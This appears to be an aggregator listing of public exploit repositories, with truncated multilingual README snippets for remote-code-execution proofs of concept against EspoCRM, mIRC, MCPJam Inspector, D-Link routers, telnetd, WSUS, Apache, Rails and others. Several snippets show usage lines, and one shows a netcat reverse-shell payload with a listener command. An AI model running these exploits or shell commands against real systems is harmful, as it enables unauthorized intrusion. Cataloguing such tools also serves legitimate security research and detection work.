ESPOCRM-RCE-POC-CVE-2026-33656

EspoCRM コマンド 例: ./poc.sh http://192.168.5.16:8090 admin admin id...

cve-2019-6453-poc

CVE-2019-6453: 사용자 정의 URI 프로토콜 핸들러를 통한 인수 주입으로 mIRC 7.55에서의 RCE mIRC에서 irc:// URI 프로토콜 핸들러를 통해 원격 코드 실행Remote Code Execution 취약점 을 발견했습니다. mIRC는 인수 목록의 끝을 표시하기 위해 -- 같은 시길을 사용하지 않기 때문에, 공격자는 irc:// 링크를 통해 mIRC에 인수를 전달하고 공격자가 제어하는 Samba 파일 서버에서 사용자 정의 mirc.ini 를 로드하여 임의 코드를 실행할 수 있습니다. ircs://도...

CVE-2026-23744-PoC

CVE-2026-23744-PoC MCP RCE エクスプロイト Linux /api/mcp/connect を悪用してリモートコマンド実行を行うPoCです。 要件 pip install requests 使用方法 python3 exploit.py 例: python3 exploit.py mcp.something.com 設定 スクリプト内で編集 attackerip = "YOURIP" port = 4444 リスナー nc -lvnp 4444 ペイロード デフォルト: busybox nc -e /bin/sh フォールバック: rm /tmp/f; mkfif...

CVE-2026-23744

CVE-2026-23744 针对 MCPJam Inspector 使用 pip install -r requirements.txt 安装依赖库 - 使用 python CVE-2026-23744 --help 查看信息 MCPJam inspector 是面向 MCP 服务器的本地优先开发平台。最新版本 1.4.2 及更早版本存在远程代码执行（RCE）漏洞，攻击者可发送特制的 HTTP 请求来触发 MCP 服务器的安装，从而导致远程代码执行。 该漏洞与 CVE-2025-49596 类似，但更为严重。CVE-2025-49596...

CVE-2026-22812-OpenCode-RCE-exp

CVE-2026-22812-OpenCode-RCE-exp 使用方法： java -jar xxx.jar 環境推奨： jdk8...

CVE-2024-57376

CVE-2024-57376 D-Link DSR-250 및 DSR-250N에 대한 인증 전 원격 코드 실행 익스플로잇 보안 권고: https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10415 사용법 $ python3 exploit.py usage: 예제 $ python3 exploit.py 192.168.1.1 443 id + fingerprint device: DSR-250N year : 2021 b'HTTP/1.1 200...

CVE-2026-23830-SandBreak

SandBreak CVE-2026-23830 エクスプロイト生成 & 自動Pwnツール SandBreak は、SandboxJSエスケープ脆弱性（CVE-2026-23830） を悪用するために設計された、堅牢なGoベースのエクスプロイト生成ツールです。 このツールは、古いバージョンの sandboxjs における保護されていない AsyncFunction コンストラクタを悪用し、攻撃者がV8サンドボックス環境から脱出してホストシステム上で任意のコードを実行できるようにします。Blind OOB Exfiltration 、Defacement 、Error-Based RCE...

CVE-2026-24061-telnet2root

CVE-2026-24061 脆弱性スキャナー＆エクスプロイト 👨‍💻 作成者: Furkan KAYAPINAR @FurkanKAYAPINAR 概要 このリポジトリには、CVE-2026-24061 用の脆弱性スキャナーと対話型エクスプロイトが含まれています。この脆弱性は、inetutils-telnetd（および他のTelnet実装にも影響する可能性があります）が NEW-ENVIRON Telnetオプションを不適切に処理することによって発生し、-f root ペイロードを使用したリモートからの事前認証アクセスを可能にします。 機能 scanner.py :...

Android-vulnerability-exploitation

Android-vulnerability-exploitation Google Android - 'Stagefright' Remote Code Execution - CVE-2015-1538 Absolutely, I always choose Linux vulnerability, but then I had to choose different vulnerability else because I didn't know two people could do the same thing And then Having learned of this, ...

EpSiLoNPoInTlnk

README EpSiLoNPoInTlnk CVE-2026-21510 - .LNK ジェネレーター CVE-2026-21510（Windows ShellLink リモートコード実行）の脆弱性を利用した .lnk ファイル生成ツール。 オフェンシブセキュリティ研究、許可されたペネトレーションテスト、脆弱性分析のために設計されています。 法的免責事項 ⚠️ このツールは、合法的かつ許可された用途のみを目的としています。 システムやネットワークに対する不正使用は、現地および国際法（例：Computer Fraud and Abuse Act CFAA、GDPR、フランスの...

CVE-2025-59287

CVE-2025-59287 WSUS CVE-2025-59287 – XML逆シリアライゼーションRCE（リバースシェル） WSUS CVE-2025-59287をXML逆シリアライゼーション経由で悪用し、Windowsリバースシェルを取得するための特化型PoCです。このスクリプトはリバースシェルペイロードのみをサポートします（calcフォールバックはありません）。 対象: WSUSロールを搭載したWindows Server 手法: SOAP + ObjectDataProvider逆シリアライゼーション 結果:...

CVE-2024-38856_Scen

CVE-2024-38856Scen 倫理的な使用のみを目的としています。有害または悪意のある活動は一切許可されません。また、それはすべて自己責任です。CVE-2024-38856: Apache OFBiz リモートコード実行スキャナ & エクスプロイト この問題はApache OFBiz: 18.12.14までに影響します。...

CVE-2021-41773

CVE-2021-41773 Apache2 2.4.49 - LFI & RCE エクスプロイト 情報 Exploit Title: Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution RCE Exploit Author: Gaurav Raj https://gauravraj.xyz https://blog.gauravraj.xyz Vendor Homepage: https://apache.org/ Version: 2.4.49 Tested on: 2.4.49 CVE :...

CVE-2026-66066

CVE-2026-66066 — KindaRails2Shell Rails Active Storage/libvips 任意ファイル読み取り → SECRETKEYBASE 窃取 → RCE 概要 CVE-2026-66066 は、Ruby on Rails Active Storage における重大度 CVSS 9.5 の 事前認証 任意ファイル読み取りからリモートコード実行に至るチェーンであり、デフォルト構成の Rails 7.2.0–7.2.3.1 、8.0.0–8.0.5 、8.1.0–8.1.3 に影響を与えます。...

rails-exploit-cve-2013-0156

== Rails PoC exploits for CVE-2013-0156 and CVE-2013-0155 Bootstrapped a Rails 3.2.10 application with the remote code execution exploit. Ref: https://github.com/ronin-ruby/ronin-ruby.github.com/blob/rails-pocs/blog/posts/2013-01-09-rails-pocs.md === Setup Install gem dependencies and fire up the...

Fortinet-FortiWeb-Fabric-Connector-CVE-2025-25257-Detection

CVE-2025-25257 탐지 엔지니어링 저장소 개요 이 저장소는 Fortinet FortiWeb Fabric Connector 버전 7.0부터 7.6.x까지의 사전 인증 SQL 인젝션 취약점인 CVE-2025-25257 에 대한 프로덕션 준비 탐지 엔지니어링 콘텐츠를 제공합니다. 성공적인 익스플로잇은 사전 인증 없이 원격 코드 실행으로 이어질 수 있습니다. 이 콘텐츠는 방어 목적으로만 사용됩니다. 이는 보안 운영 센터SOC 팀, 탐지 엔지니어, 위협 헌터를 대상으로 합니다. 무기화된 익스플로잇 코드는 포함되어 있지 않습니다...

React2Shell-PoC-CVE-2025-55182

React2Shell Exploitation Simulation CVE-2025-55182 Note: This document is for educational and security research purposes only. Do not use it to attack systems without authorization. 1. Overview CVE-2025-55182, also known as React2Shell, is a critical Remote Code Execution RCE vulnerability...

CVE-2025-55182-Auto-Scanner

CVE-2025-55182 Scanner is a high-performance tool for detecting vulnerable Next.js Server Action endpoints. It uses multi-threaded scanning, confidence-based detection, and multiple response indicators to identify potential Remote Code Execution RCE vulnerabilities. Features - High-speed concurre...

CVE-2025-32433-available-for-windows

CVE-2025-32433 Information about the vulnerability: https://nvd.nist.gov/vuln/detail/CVE-2025-32433 POC kdev :: /erlang/CVE-2025-32433 ‹main› » python3 cve-2025-32433.py -h usage: cve-2025-32433.py -h -d --host HOST --port PORT Exploit for CVE-2025-32433 Erlang OTP SSH server. options: -h, --help...

vsftpd2.3.4-backdoor-exploit

vsftp2.3.4-backdoor-exploit vsftpd 2.3.4 Backdoor Exploit CVE-2011-2523 Requirements Python 3.11+ recommended psutil Python package Installation Windows 1. Make sure Python is installed: py --version 2. Install dependencies: py -m pip install psutil 3. Run the script: py vsftpd234backdoor.py macO...